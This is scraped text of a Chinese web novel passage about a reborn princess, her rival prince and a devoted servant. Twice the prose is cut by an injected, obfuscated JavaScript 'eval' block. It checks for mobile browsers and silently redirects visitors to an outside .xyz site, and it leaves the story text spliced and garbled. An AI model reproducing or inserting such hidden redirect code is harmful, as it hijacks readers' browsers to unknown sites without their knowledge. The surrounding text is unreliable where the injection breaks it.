苏戮那个小杂种打扮得人模狗样的,正给谢郁棠洗笔研墨呢。 蔺檀烦躁地敲着扇子:“还用你说?!” 未曾成家就同其他男子过从甚密。 成何体统! 小福子嘿嘿一笑:“殿下,恭喜啊。” 蔺檀斜眼看他。 小福子:“咱家是个阉人,于男女之事不太懂,只瞧那话本子都说,女儿家心思九曲十八弯,瞧上哪家公子了,不当面去说,而是故意带个俊俏小生,去试探对方反应。” 蔺檀手里的折扇一停。 “不仅如此,还要故意在言语上冷淡对方,装作毫不在意,那公子若是因此为她心烦意乱,便是上钩啦。” 呵。 原来如此。 蔺檀嗤笑一声。 “稍后的骑射,她也会去?” 小福子想了想:“公主既说是来听学,想必是会把今日的课全都上完的。” 蔺檀沉吟片刻,冲小福子招招手:“你即刻去趟跑马地,就说是本王的意思……” * 谢郁棠看着牵给她的明显“娇小”了一截的马,不满地扬起了眉。 小福子冲谢郁棠行了礼,笑道:“公主,这匹幼年矮种马是三殿下特地为您寻来的。女子体弱,不宜骑马,三殿□□贴您……” 谢郁棠不等小福子说完,径直绕过面前的小马,从马圈里牵出一匹高大骏马来。 那马通体乌黑,唯额上一抹雪白,是蜀地进贡的名驹,性情刚烈,因为太难驯服已经在马圈中被关了好久,乍然被谢郁棠牵出来,很兴奋地嘶鸣了一声。 蔺檀皱眉。 谢郁棠的反应再次让他的期待落了空。 甜言蜜语再加上一点点无伤大雅的好处,他曾用这招把这女人哄得服服帖帖的,可如今怎么全都不管用了? 他压下心中的不安和烦躁,走到谢郁棠身边,一脸温柔深情:“棠棠……” 他伸过去的手还没碰到谢郁棠便被对方用马鞭挡了回来。 “敢不敢跟本宫比一把?” 谢郁棠说这话时甚至都没看他。 女子修长白净的手指抚着马鬃,全副心神都放在眼前的良驹之上,仿佛一个重新握住了刀的刀客,或重见光明的画师,眼中决堤而出的神采看得蔺檀一愣。 还未及反应,谢郁棠已翻身上马,一边熟悉着新坐骑一边跑了小半圈。 …… 蔺檀皱眉。 这哪里有半点女儿家该有的娴静温婉? 再想到昨日就是在这跑马地,她一袭刺目红衣,腰带软鞭,袖藏匕首,把他不喜欢的玩意儿全配齐了! 要不是为了谢家旁支的兵权,他连看都不会看她一眼,更不要说如此三番四次低声下气的求和了。 但这女人委实不知好歹,还妄想驯服这匹烈马。 罢了,让她吃点苦头也好,否则总想着刀剑骑射,还要读什么圣贤书,以后真成了亲那还了得? 谢郁棠根本懒得去揣摩蔺檀的那点心思,她现在满心都是欢喜。 马背上的感觉,太爽了! 谢郁棠自小在边关沙场长大,还没学会走路便先被谢老将军抱上了马,虽然上一世同蔺檀成亲后便久居深宫,但刻在骨子里的本能不会丢,几个驰骋间,她已渐渐驾驭了跨下烈马。 “问你呢,到底比不比?” 蔺檀摩挲着扇子的玉坠,没说话。 骑射并非他所长,而谢郁棠这女人又自小在边关长大,不是那种正经养在深宫锦衣玉食的天家公主。他一介男儿,跟个女人比骑射,就算赢了也难免被说胜之不武,输了更是丢人。 谢郁棠这女人定是在故意刁难自己! 小福子适时开口:“公主不妨先同谭公子比划比划?赢了谭公子再挑战三殿下也不迟。” 谭岑广曾在巡防营中任职历练,算是骑射好手,突然被点到名字,下意识向蔺檀看去,犹疑着没有接话。 谢郁棠自然知道蔺檀的那些心思,并未点破,在马背上调整着弓箭的绑带:“谭公子不会是在寻思一会要不要故意放水输给本宫吧?” 谭岑广被点破心中所想,讷讷无言。 心里把小福子骂了一通,谁都知道蔺檀跟谢郁棠的关系,人家小情侣斗气吵架,拉他一个外人做挡箭牌。 蔺檀却很满意此番提议,走到谭岑广面前拍了拍他。 “只管好好比,本王相信你,一定可以赢。” “一定”二字既缓又慢,带着不容拒绝的威压,谭岑广内心一凛,低头抱拳:“是!” 所谓骑射,一比射箭的准头,二比骑马的速度。 虽说谢郁棠将门嫡女出身,但真心认为她能赢的几乎没有,多数人只是抱着看热闹的心态,再说她身材高挑,窄袖束腰跨上骏马,更显得整个人飒爽清丽,看美人的心态反倒更胜看比赛的激动。 谭岑广得了蔺檀的明令,志得意满地上了马,还有余心琢磨自己待会多少要让上几分,不能让公主输得太难看。 二人在起点处准备就绪,一声令下,各自打马狂奔。 谢郁棠凛冽的眉目在冬雪初霁的旷野荡开一笔遒劲的水墨。 风在耳畔飞扬。 落日、孤烟、烈马、黄沙。 似乎又回到了遥远的故乡。 浑身的热血都激荡起来,她仰天大笑,拉满长弓。 利箭如银芒破空。 只听一声短促的撕裂空气的嗡鸣,百里之外,一支箭簇没入箭靶。 正中靶心。 周遭乱哄哄的低语戛然而止,那些刚刚还附和着说什么女子体弱,不宜上马的众人呆愣地看着那枚箭簇,几乎不敢相信自己的眼睛。 骑射本就是极难的,御马之术,挽弓之力,还有准头,技巧,缺一不可。他们这些世家公子又不用真正上战场,随便练练能在春猎秋围上打只兔子就行了,可谢郁棠这一箭却像是一把无情的利刃,将他们华丽的遮羞布一把劈开,露出早已被奢靡享乐腐朽的里子。 这真是一个女子能做到的吗? 这疑问像一口洪钟,震得谭岑广目眦欲裂。 原以为能轻松取胜,万万没料到…… 不行。 不能输! 昨天已在苏戮那小杂种面前丢了脸面,若再输给一个女人,他一定会被蔺檀像废物一样丢弃。 论准头,他已经败了,要想扳回一局,必定要比谢郁棠先到终点才行。 谭岑广拔出腰间匕首,狠狠一刀刺入马背! 跨下白马吃痛嘶鸣,发疯一般狂奔起来。 红绸就在眼前,谢郁棠忽听后方一道疾风袭来,她条件反射般打马侧避,谭岑广的马蹄堪堪擦着她鬓角飞踢而下。 突发剧变,场上之人皆惊呼出声。 但凡谢郁棠晚了一瞬,此刻就算不死也要重伤。 待她纵马避至安全之地,苏戮才松了口气,将拔了一半的剑收归入鞘,刚刚她若没躲,此时那马已被自己斩于剑下了。 捅马提速这事儿是谭岑广从几个老兵那儿听来的,他自己从未实践过,情急之下捅得完全不得要领,那马吃痛狂啸,不向前跑,只是一个劲的发疯狂跳,几个大起大落,将谭岑广狠狠掀下马背,转而向场内众人冲撞而去。 众人惊呼一片,皆四散奔逃。 蔺檀被手下护着避到安全之地,犹自惊疑不定的喘着粗气,小福子忙着安抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慌乱的视线中,一只葱白细腕扒了上来,隔着马鞭,在他腰上一阵摩挲。 “啊,腰是可以这么细的吗?” “马鞭竟然能缠这么多圈?” “还有余量?” 谢郁棠声线中渐渐染上不满。 苏戮:“……” 少年此时已完全没了一人独对疯马的悍利,衣领间露出来的皮肤开始浸上薄粉,衬着脖颈间一道细细的金色锁链。 “听说你有一半胡人血统,胡人的耳朵都像你这么容易红的吗?” 谢郁棠一边控着坐骑躲避疯马,一边旁若无人地与身前少年调笑。 越来越多的人把目光投向这边。 少年无处安放的手指捻着黑马马鬃,任由谢郁棠一手搭在自己腰上,以一个保护的姿态控着缰绳。 “我还听了很多。” “他们说你男生女相,天生一副祸水脸。” “我这么一搂,可能马上就有人说你是我的面首了。” “你可介意?” 这问题简直让人没法回答。 苏戮只能庆幸现在谢郁棠看不到自己的脸。 这一世的公主不一样。 太不一样了。 依旧善良,依旧会为了死去的乌追伤心,依旧会在他狼狈时出手维护,但,又像是有什么东西让她冲破了束缚。 在跑马地上扇了蔺檀一耳光的谢郁棠,在学堂说本宫便反了这天的谢郁棠,在马背上大笑着挽弓如满月的谢郁棠—— 全都熠熠生辉。 晃得他移不开眼。 明明告诉自己这一世只要能在她身边就好,为她驱策效忠,为她冲锋陷阵,舍了性命护她周全,他全都甘之若饴,可在此时此刻,谢郁棠隔着衣料和马鞭的触碰,已经让他乱作一团。 心跳得快要冲出胸膛。 即使知道只是她心血来潮的调笑,或许还有些若有似无的试探,却还是不争气的沉沦。 像一条被海浪拍在岸上的鱼,即使知道面前等着的是蜜糖的沼泽,也无可救药地渴求。 “昨天还一口一个主人,今天怎么就哑巴了?” 谢郁棠觉得这人实在有趣,随便逗上几句就浑身紧绷,一副不知所措又避无可避的样子,真是可爱,要是能正面看看他的表情…… “扑簌”一声。 短促,细微。 但上过战场的人都知道,那是箭簇连根没入血肉的声音。 谢郁棠侧目看去。 疯马轰然倒地,死前甚至没来得及发出一声哀鸣。 谭岑广颓然地跌坐在地上,胸膛剧烈起伏,一身血泥,脸上是大惊之后缓不过神的空茫,被早已候在两侧的士兵押了下去。 “哪个不长眼的,敢扫了本宫兴致!” 谢郁棠厉呵,周遭又是哗啦啦跪倒一片,围栏外,一黑袍软铠的中年男人收了箭弩,从容躬身:“卑职救驾来迟,请公主恕罪。” 谢郁棠眯了眼。 她说是“扫兴”,此人却认的是“救驾”,一来一去间,倒是会给自己贴金。 视线扫到他身上的玄色绣纹,谢郁棠一顿,是皇帝身边的禁军。 那人语气平静却不容拒绝:“圣上请您即刻前去养心殿。” 4. 第 4 章 养心殿。 双龙吐水的雕花铜烛台上盛着烛光,将垂首列跪在两侧的人影映得摇摇欲坠。 殿内一室肃杀。 皇帝被气得不轻,军械库中一批兵器不翼而飞,巡防营统领巍咸西奉命调查已半月有余,毫无进展不说,昨日又丢了一批短剑。 夷族使者还有几日便要进京,在此节骨眼上军械库接连失窃,很难不让人联想到此事是否有夷族插手。 宫门大敞,刺骨的风雪刮在人身上仿若寒鞭,跪在下首的巍咸西却两股战战,浑身冷汗直冒。 “父皇,这大冷天的,怎么也不关门?” 只听一道半是嗔怨半是关心的女声自门外传来,风雪霜寒似乎都扑不灭那音色内里的鲜活,屋内肃杀之气随之一荡。 眼前出现的是一双云纹锦靴,地上跪着的巍咸西暗暗抬首,瞥见一道着窄袖青袍的英丽身影。 “您上次感染风寒,调理了十多天才好。父皇,国不可一日无君,就算是为了天下民生,您也要爱惜自己的身子啊。” 入殿门而不拜,且敢用这种语气同皇帝说话的人,除了独享圣宠的宁安公主,宫内再无第二人。 谢郁棠指挥着太监关了窗子,又给银盆里添了炭火,这才一屁股坐到崇德帝身边,亲昵地从怀着掏出一双狐皮手衣来,不由分说地往他手上套。 崇德帝本在气头中,被谢郁棠这般风风火火一搅和,也没了脾气,任由谢郁棠把奏折从他手里抽出。 “儿臣前几日于后山猎得一只银狐,特地选了毛皮上最柔最暖的部分做的,您看看合不合手。” 这手衣所用皮毛通体雪白,触手却如婴儿肌肤般嫩滑,无一根硬毛,极为舒适暖和。 “再过几日,外使入京,想必又有围猎盛会,儿臣就想着给父皇缝件手衣,包您里里外外都和暖舒适。” 谢郁棠身上的留兰香舒爽清淡,一声声“父皇”喊得甜而不嗲,如同春三月淌过鹅卵石的溪水,崇德帝心下熨帖了不少,面上却还板着:“就会耍滑头。” “哪里耍滑头了?”谢郁棠佯做委屈地撇了撇嘴,下一刻又亲昵地偎在皇帝身边,“父皇难得宣我一次,就算是挨板子我也要跑着来的。” cd帝“呵”了一声,阴阳怪气:“谁敢让你挨板子,你让别人挨巴掌还差不多。” 说的是她那日在跑马地当众扇了蔺檀一巴掌的事了。 谢郁棠面上毫无愧疚,一双眼睛看着皇帝:“您心疼啊?” 本就是顺口一提,被谢郁棠这么直直问了出来,崇德帝反倒生了几分不自在,抖抖手,将衣袖从她怀里抽出来:“你们年轻人的事,朕懒得掺和。” 他喝了口茶,才状似不经意地问:“听说你闹着去学堂,还把苏家那小世子收了做男宠?” “您又听人瞎说,哪儿是什么男宠?”谢郁棠规规矩矩地坐好,垂下眼睫,手指卷着一缕发丝,“乌追死了,我一个人在府上好生寂寞,连一个打发解闷的奴才也收不得吗?” 皇帝也知道乌追是谢老将军留给谢郁棠唯一的生物,被蔺檀手下的人生生打死,心里多少有些愧疚,也不便多说,只意味深长地瞧着她:“蔺檀那小子惹了你,你却还要去学堂,岂不是天天抬头不见低头见?” “父皇!”谢郁棠这下好像真的生了气,转过头去不去看他,连两颊都被气出了两团云霞,“谁要跟他抬头不见低头见了!我就是想去学堂,将来也像我爹那样,浴血沙场,守卫我大兖河山……才不是为了那个混蛋。” 下首跪着的巍咸西几人都把头压得更低了,在皇帝面前公然称呼三皇子为“混蛋”,宁安公主有这个胆叫,他们却没这个胆听。 皇帝却眉头渐舒。 谢郁棠越是矢口否认,起高调门,他反而越是放心。 大兖共三位皇子,大皇子蔺杞坐主东宫,二皇子蔺楠惯爱玩乐不问朝政,三皇子蔺檀虽没什么出挑,但仁善谦和,口碑极佳。 皇帝将谢郁棠从焦墟的谢府带回皇城,安排的住处恰巧就离三皇子蔺檀最近,俩人年纪相仿,一起长大,谢郁棠自小便同他亲近,就连及笄之后也总不避嫌地往蔺檀身边跑。 老皇帝想,这丫头幼时突逢变故,亲人无一存世,恐心生怨怼滋生戾气,这老三虽然平庸了些,但为人和善,也算是良配。 再者,谢王府虽在十一年前的倒马关之战中满门皆殁,但现在镇守边关的将领大多是谢老将军当年一手提拔,谢氏在军中余威仍在,蔺檀娶了谢氏女,这部分谢氏旧部也就可更好地掌握在皇室手中。 如今看来,谢郁棠的心思还在蔺檀身上,这就行。 见崇德帝摆了摆手,谢郁棠知道这关算是过了,又同皇帝说笑了几句便告退了,自始至终没朝跪在两侧的巍咸西等人看上一眼。 第二日,谢郁棠睡饱了才懒懒起身,怀瑾伺候着她洗漱更衣,为她绾发时提了一嘴,说巍府的管家一早便提了谢礼前来拜访,已在前殿等了一个时辰了。 谢郁棠并不意外。 因着前世的记忆,她昨日扫了眼殿上跪着的人便知是怎么回事——军械库失踪案。 那批失踪的军械后来后来出现在了北夷入侵的铁骑中,斩杀了无数大兖的士兵良将,谢郁棠的指尖在桌面轻轻点了点,铜镜中浓睫垂下,掩去眸底一丝寒光。 害死家兄与父亲的凶手,极有可能与此案的幕后主使是同一人,可惜前世她困居深宫,掣肘重重,终究没能彻底揪出那人的真面目。 “让人回去吧,帮我带句话,就说昨日本宫只是奉旨觐见,让巍统领切莫客气。” 怀瑾从妆奁盒中取了一直金簪,缓缓插入发髻,有些不解:“小姐,我们既要打探这个巍统领的虚实,为何还要将人拒绝?” “谁说我拒绝了。”谢郁棠拢了拢绣着金边牡丹的衣袖,将褶皱一点点抚平,“这东西我要是收了,就是还清了昨日的人情,还怎么给他继续登门的借口?” 怀瑾了然,自家小姐本就聪慧机敏,寻常男儿都要在朝堂上几经磨砺才能了悟的道理,她似乎天生就懂得,尤其是那日抬棺跑马地后,小姐的性格便越发让人琢磨不透了。 怀瑾不再多言,欲去取衣架上打理好的貂皮大氅,谢郁棠摆了摆手,挑帘出去:“不必了,今日倒似比往常热些——” 话音戛然而止。 只见桌上摆好了数盘鲜肉时蔬,旁边架着炭火,苏戮手里拿着一柄团扇,正在调试火候,见她出来,微微勾唇:“您先坐,马上就好。” 谢郁棠怔忡片刻,恍然记起自己昨天好像随口说过想吃烤肉。 握瑜端了盘牛肉片进来,笑道:“苏世子天还未亮就在厨房捣鼓了,比我和怀瑾起得都早。” 苏戮自然地接过盛牛肉的托盘,在桌上摆好,本是伺候人的活计他做出来却清风霁月,不堕君子行宜:“食材是怀瑾准备的,我只是尽了点刀工而已。” 谢郁棠去看那盘牛肉片,只见每一片长短大小皆尽相同,整整齐齐码成数列,每一片都薄如蝉翼,可以看到后一片肉的纹路,两层叠起来,还能透出盘底的青花瓷纹。 她走到桌前,不用自己伸手,椅子就已经被人拉开了。 他身上带着淡淡的清香,说不上是什么味道,只觉得磬心疏冽,让人想起山尖上的最后一捧雪或雨后泥土青草的芳香。 炭火已经升好,在铜盆中哔剥作响。 谢郁棠喜欢烤肉,又嫌烤起来麻烦,只有馋的不行了才偶尔折腾一次,没想到昨天随口一提,一觉起来所有的东西都变戏法般地准备好了。 谢郁棠朝身侧静立的少年看去,她只是将他从蔺檀那里带回来,许他庇佑,要求他回以忠诚,而他的表现……却实在是太好。 好到超出她那点微末善意所应得的最大回报。 眼前的少年低眸敛目,甚至在她随口说了句“本宫不习惯仰着脖子跟人说话”后,径直跪了下去,比最驯顺的家犬更知进退,从仪态到礼数让人挑不出半分错处。 谢郁棠眸底一暗。 这般心思手段,他若有心,又何至沦落到给蔺檀手下那些人欺凌的境地?还是说,他是故意接近自己,有所图谋? 人心鬼蜮中浮沉数载的谢郁棠早就没了什么风花雪月的心思,这个“图谋”,她理所当然的以为是和蔺檀如出一辙。 谢郁棠几乎有些想笑,她身上的盛宠和背后的兵权,可真是个好东西。 丹蔻指尖摩挲着茶碗盖,在茉莉花茶氲出的雾气中,眼神一错不错地落在这静默跪着的少年身上。 毕竟是在边陲战场上杀了个七进七出从无败绩的小慕清王啊。 也好,他若真图那些,也不是不行。 反正她的复仇大计也很需要他的能力,现下不妨就先彼此利用,等到了不得不分道扬镳之时再各凭本事。 虽然慕小王爷上辈子对圣上忠心不二,但她都能重生一世去弥补上辈子的遗憾,这位曾经忠诚的少年将军不知为何有了些别的想法,也不是什么稀奇的事。 看都看了,谢郁棠也懒得掩饰,直勾勾将人从上到下刮了一遍,直看到少年耳后浸了薄粉,才看了眼身侧空着的椅凳,饶有意味地开口:“你知道我原本不是这个意思的吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556969|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年垂在两侧的手指蜷缩了一下,浓睫垂下,挡住有些乱的眸底。 他怎会不知谢郁棠的意思,坐在她身边,和她同桌共食,她的主人厚待他如斯,可他却不能不知进退,得寸进尺。 况且他知道,谢郁棠对自己是没有那种心思的。 方才落在他身上的眼神带着并不掩饰的探究和打量,她如此聪慧敏锐,不可能全然不疑自己留在她身边的目的。 就让她以为自己有所图好了,至少还能让她相对放心地把自己留在身边,若她知道自己其实…… 苏戮有些自嘲地勾了下唇,多像那些撞向烛火的飞蛾啊,因为渴求了不该渴求的东西,注定走向自毁的终途。 而他的终途,大概就落于这点再也无法隐藏之后吧。 但谢郁棠是他无论如何都无法拒绝的人,无法拒绝又不能去做的事,他只能想到这样的办法。 正努力打叠说辞,只听头顶传来一声轻笑,有几分顽劣的苦恼: “但你跪得这般好看,我又不太想让你起来了怎么办?” 少年低垂的睫毛颤了颤,修长的手指握着筷子夹起一片牛肉,放在刷好油的架子上烤。 火光映着玉雕雪凿般的侧颜,低垂的睫毛在下眼帘上安静地铺开一层淡影。 他的腕骨实在太过好看,垂眸安静地翻着肉片,仿佛天地之间只有这一件真正重要的事。 生肉慢慢变色卷边,间或几滴油脂滴落炭盆刺啦作响,鼻息间满是令人食指大动的烟火气。 怀瑾和握瑜完全停在了屋外,间或有需要,苏戮便会起身退去片刻,回来时手上总是满的,有时是新的时蔬肉片,有时是撤下的盘子或新添的炭火,但他总会重又跪下,将自己暴露在一个谢郁棠可以随时观察又不必仰头抬眼的位置。 就算是为了赢得自己信任,也实在不必做到这般程度吧。 谢郁棠垂眸看向眼前的食盘,一小片嫩叶裹着放好调料的烤肉,是少年刚刚放在自己面前的。 她举箸夹起,品味着鲜美滋味,心绪亦百转千回地起伏。 “这肉着实美味,本宫一不留神就吃得多了,想出去走走。” 谢郁棠捏了一颗碟子里的霜糖山楂,慢慢嚼着消食,下人们这才进来收拾。 下雪不冷化雪冷,前几日的积雪逐渐消融,外面寒风萧瑟,浣衣局的宫婢手上冻疮的比比皆是。 可谢郁棠历来是个说做就做的性格,眼看是起了兴致,怀瑾自知劝慰不动,只得从屏风后拿出貂皮大氅,给谢郁棠披上,又递上灌满热水的汤婆子。 谢郁棠兴致不错,一路逛到湖心亭,亭下湖水将将解冻不久,浮冰下的锦鲤三五游过,她坐在廊下闲闲看着,手里漫不经心地摆弄着一只鲁班锁。 木质部件上满是咬痕,这是乌追最爱的玩具。 原只是宫人们送来给她解闷的玩意,谢郁棠拆合之后随手置于矮案上,被乌追叼去玩耍,她见乌追爱得紧,便将此物用做逗狗的玩具,时常随手丢远,再看那大犬狂奔着叼回来。 每当这时,谢郁棠的心情总会很好。 仿佛无论怎样任性,都有人,哦不,有狗乐此不疲地接受。 不知是过于沉溺往昔的回忆,还是寒风冻僵了手指,一不留神,鲁班锁从谢郁棠指尖滑落,在长椅上滚了一圈,扑通一声落入湖中。 “啊。” 谢郁棠怔怔看着湖面,面上有些惋惜,“那可是乌追最喜欢的……” “属下这就去库房拿网捕捞。” 握瑜说罢便要奔出亭外,被怀瑾拦住,“你忘了?网兜前几日被德妃娘娘借走扑蝴蝶,还未还回来呢。” 握瑜一拍脑门:“我现在就去长春宫。” “来不及了。”怀瑾看着重又恢复平静的湖面,语气也难掩焦急,“这湖引的是山上活水,水流源源不息,从这里到长春宫,一来一回少说也要两刻钟,就算你拿回网兜又有何用,东西早就不知被冲到到哪儿去了。” 亭中一时无声。 众人寂静之时,只见一道白影闪过,扑通一声,湖面溅起一朵小小的水花,如同山尖顶上覆了雪的重瓣雪莲。 握瑜一声惊呼。 谢郁棠乍然起身,死死盯住湖面未散的波纹,眼底晦暗不明。 寒冬腊月,湖面还有浮冰,水温到底有多冰冷刺骨不可能看不出来,且这湖比看起来只深不浅,且湖底有泥沙淤积,这时候往湖里跳,就算水性身手皆备,也是危险万分。 不过是因为她一句话。 湖面,最后一圈波纹已渐趋消散,寂静得仿若没有一丝活气。 5. 第 5 章 握瑜小心翼翼开口:“小姐,苏世子他该不会……” “不会。” 握瑜察觉出谢郁棠收紧的音色,惊讶地看了小姐一眼,随即垂眸,不再多言。 仿佛过了一世,又似乎短如数息,平静的湖面终于荡起波澜,少年自水中探头,乌玉般透彻的眸子往亭中转了一圈便很快向这边找来,扭头的动作带起一条细带般的水珠。 涟漪一圈一圈,直铺至岸边。 谢郁棠沉默地立至岸边,眸光追随着碧湖中一点身影,途中好几次快要碰上浮冰,被他一一拨开。 待人近了,谢郁棠抖抖衣袖,猛然发觉掌心不知何时已浸满冷汗,不动声色的擦了,这才伸出手来。 掌心向上,是一个承接的姿势。 可入手的却并非预想中少年指骨的触感,而是一个冰冷的,木质的,棱角咬合处满是尖利牙印的硬物。 鲁班锁。 她怔愣垂眸,只来得及看到少年冻得通红的指尖,以极其克制,极有分寸的方式收了回去。 跟他方才一言不发就跳湖的疯狂一点都不一样。 怀瑾见谢郁棠垂眸无言,上前福了一礼:“小姐,我先带苏世子去换衣服?” 天寒地冻,苏戮又刚从湖中出来,衣衫尽湿,极薄地贴在身上,甚至能看到很薄一层紧绷着骨骼的肌肉线条。 谢郁棠不合时宜地想起那些话本上的风流艳话来,难怪作者总要安排女子不慎落一次水,这般模样果然极是惹人生怜,一双眸子浸了水的棋子似的,嘴唇,耳垂,锁骨,指尖,只要是露出的皮肤总是比往常更粉嫩些。 此情此景,很难让人不联想到钗髻散乱,香矜衫薄的闺阁之趣。 她转了视线,解下大氅,俯身为他披上,少年的呼吸滞了片刻,随即放松身体,任由她的气息将自己裹挟。 苏戮的视线少有的颤了颤,继而轻缓地停在她的脸上,却不叫人觉得打搅,像是雪后竹林间拂来的柔风,带着疏冽的柔和气息。 谢郁棠却并未迎接这样的视线,她一心垂着眼,专注于手上的系带,直到将绳结系牢,心底里一直吊着的气才算松了下来,一直未落到实处的东西终于在此间落了地,正要起身,虎口却蓦地一冰。 寒彻的触感让她指间一顿,只见瓷白的肌肤上躺着一滴水珠。 从少年发间坠落的水珠。 谢郁棠眉心轻蹙。 只是一滴便冰寒至此。 刚刚他就是,直接跳入这湖水中的么? 苏戮手指微微蜷起,想替她抹掉这滴水珠,却在抬手的瞬间滞了片刻,谢郁棠已起身退了半步,佯作无事地抖落袖口,宽大的袖袍垂荡下来,侧首对怀瑾吩咐:“去通知下人备好热水,送苏世子去椒房。” 怀瑾暗自一惊,椒房在正殿东南角,是小姐的私人温泉,房内四壁皆是捣碎的花椒泥,干了后挂上壁毯,冬日生火竖屏风,温暖如春。此处是圣上特赦,规格建制比照中宫皇后,除了谢郁棠,再无第二人有此殊荣。 谢郁棠请怀瑾煮了姜糖水,自己抬步进了椒房内殿。 屋内蒸汽袅袅,屏风后依稀可见一道削薄人影,苏戮泡在汤浴之中,听到身后脚步声,以为是伺候的小厮,并未扭头,只让对方把东西放在池沿边。 谢郁棠挑眉哟了一声:“原来苏世子当真只喜伺候他人,不喜被他人伺候。” 池中背影一僵,苏戮转过身来,隔着雾气看到谢郁棠似笑非笑的脸。 自己此刻衣衫尽除,也不能就这么当着谢郁棠的面上岸披衣,在汤浴中进退两难,少见得有些不知所措,憋了半晌只讷讷叫了句主人。 难得见到他这副吃瘪模样,谢郁棠有些好笑,但心里的郁结已久的气一时半会又无法轻易消除,便在池边俯下身来,朝他招了招手。 苏戮迟疑片刻。 “怎么?又不是没看过,苏世子这是还不好意思起来了?” 苏戮无言。 谢郁棠说的没错,她将自己领回府的第一天,他不就当着众人的面在她眼前除了上衣么,还让主人亲自为自己上药…… 不知是不是汤泉热气的缘故,少年的皮肤终于不再是惯常的冷白,眼尾和耳后的肌肤红了一片,睫毛上缀着水珠,头发湿漉漉粘在后颈。 谢郁棠指尖所过之处无不留下一串串细腻的战栗。 “喜欢这水么?” 她问,手指轻柔地划过他脖颈的肌肤,抚摸着后颈湿发。 苏戮垂着眼,睫毛随着她的动作轻轻一颤。 “主人所赐,自是喜欢。” “那就多泡泡。” 不待他说完,谢郁棠一把揪住少年后颈的发,手上阒然发力,猛地将他往池水中摁去。 出乎意料的是,手下的人并未给她哪怕是最轻微的反抗,只是怔了一下,便任由自己将他整个摁进水下。 为了驱寒除湿,这药浴中除了白芷红花,还放了些硫磺,吸入肺腑后有强烈的烧灼感,犹如针刺刀刮,痛苦异常。 苏戮手指紧紧扣进池边,指节泛白,甚至能看到小臂上凸起的青筋。谢郁棠知道,那是为了压抑本能的窒息反应所带来的挣扎。 她渐渐意识到,如果自己再不松手,这人真的会任由自己将他憋死。 谢郁棠手腕发力一提,将人拽出水面。 尽湿的鬓发甩出一串明亮的水珠,少年剧烈而痛苦地呛咳着,一张俊脸早已通红,他狼狈地大口喘气,即便如此,依旧驯顺地低垂着眼,尽力控制着动作的幅度,没有将水渐到她身上一滴。 谢郁棠面无表情再次将他摁进水中。 如此反复数次,苏戮从始至终没有任何挣扎,始终驯顺地受着,仿佛刀尖蜜糖,只要是她所给予,他都会全然接受。 最后一丝呼吸被榨干取净,直到彻底窒息前的最后一瞬谢郁棠才猛然将人提起,金链碰撞出窸窣声响,少年的脖颈因为仰头的动作被迫拉长,脆弱的喉结完全暴露,又被金色的细链牢牢锁住,让人一看便知这具身体是谁的归属。 一念令其生,一念令其死。 这种将一个强大精悍的生命完全掌握在手中的快感引人上瘾,勾人沉沦。 指尖在发丝深处收紧,谢郁棠在他耳边低语,仿若烫进魂灵的烙印:“记住,你这条命是我的,就算要死,也得我先同意了才行。” 握瑜提着姜糖水进来时,就见苏戮已穿戴整齐跪立在屏风前,背脊挺拔如柏,却跪得驯顺,不由在心中暗自担忧,这位再怎么说也是慕清王府的小世子,小姐这样,当真不会磋磨得太狠么。 谢郁棠在内室的贵妃榻上假寐,听见屏风外的动静,并未吩咐人起身,握瑜想劝上几句,可看了眼自己手上的食盒,又不知该如何开口。 这姜糖水是小姐特意吩咐她煮的,给苏世子驱寒,却又罚人跪在此处,这到底是怜惜还是不怜惜,是在意还是不在意? 罢了。 握瑜将热姜茶从食盒中取出,放在一旁的小机上,默默退了下去。 “喝完进来。” 谢郁棠的声音从屏风后传来,听不出情绪。 苏戮应了,将茶碗中的姜汤一口一口饮尽,不过是再简单不过的喝水动作,他做起来却有种说不出的感觉,说是高门大户里养出来的世家公子,却没脂粉气,说是沙场边陲练出来的武将,却又没糙痞之感。 屋内暖热,原本半干的长发跪了这一会便干得差不多了,他放下茶碗,将鬓发用一支白玉素簪随意绾了,余下的任其垂下,又于铜镜前整理了一番仪容,这才抬步绕到屏风之后。 谢郁棠并未睁眼,不知是不是睡着了,身上盖的薄毯掉了半截,露出莹白如玉的肩头。 苏戮将一旁的银碳拨了拨,又将安神香中快燃尽的香片添了,这才走到贵妃榻前,将垂地的毯子向上拉好。 明明是有些暧昧的动作,他做起来却虔诚郑重万分,仿佛照拂的是珍贵瑰宝。刚要收手,腕子却被握住。 谢郁棠缓缓睁眼,指尖顺着少年被握住的手臂一路上行,勾出他隐在颈间的金链。 苏戮为了让谢郁棠能更好的够到自己,依着她的力屈膝跪在榻前。 谢郁棠的手滑过金链缓缓覆上他的脖颈,肌肤下脉搏在跳动,触手的温度却依旧算不上高。 “怎么还是冷的?” “我体质本就偏寒,与方才下水无关。”他呛了池水,嗓音还有些哑,语气低柔地宽慰,“多亏了您赐的汤浴,我体内里的寒气都已散得差不多了。” “是么。” 谢郁棠观他神色无恙,便也放下心来,就着苏戮的手喝了半盏茶,便又合目在贵妃榻上假寐起来。 这几日她研读经筵讲习所涉书目,每每提笔勾画至深夜,下了学还要在跑马地练上两个时辰的骑射,手臂本就过劳,刚刚又在池中一番折腾,此时只是轻轻一提便免不了腕间酸痛。 苏戮自然也注意到了。 “主人,可否允我为您按摩?” 谢郁棠有些意外:“你还会这个?” “学过一二。” 他实在是太过自谦,手上的功夫堪称一流,几下之后谢郁棠便觉一股舒缓的暖流沿着小臂经络淌至指尖,气血脉络为之一通。 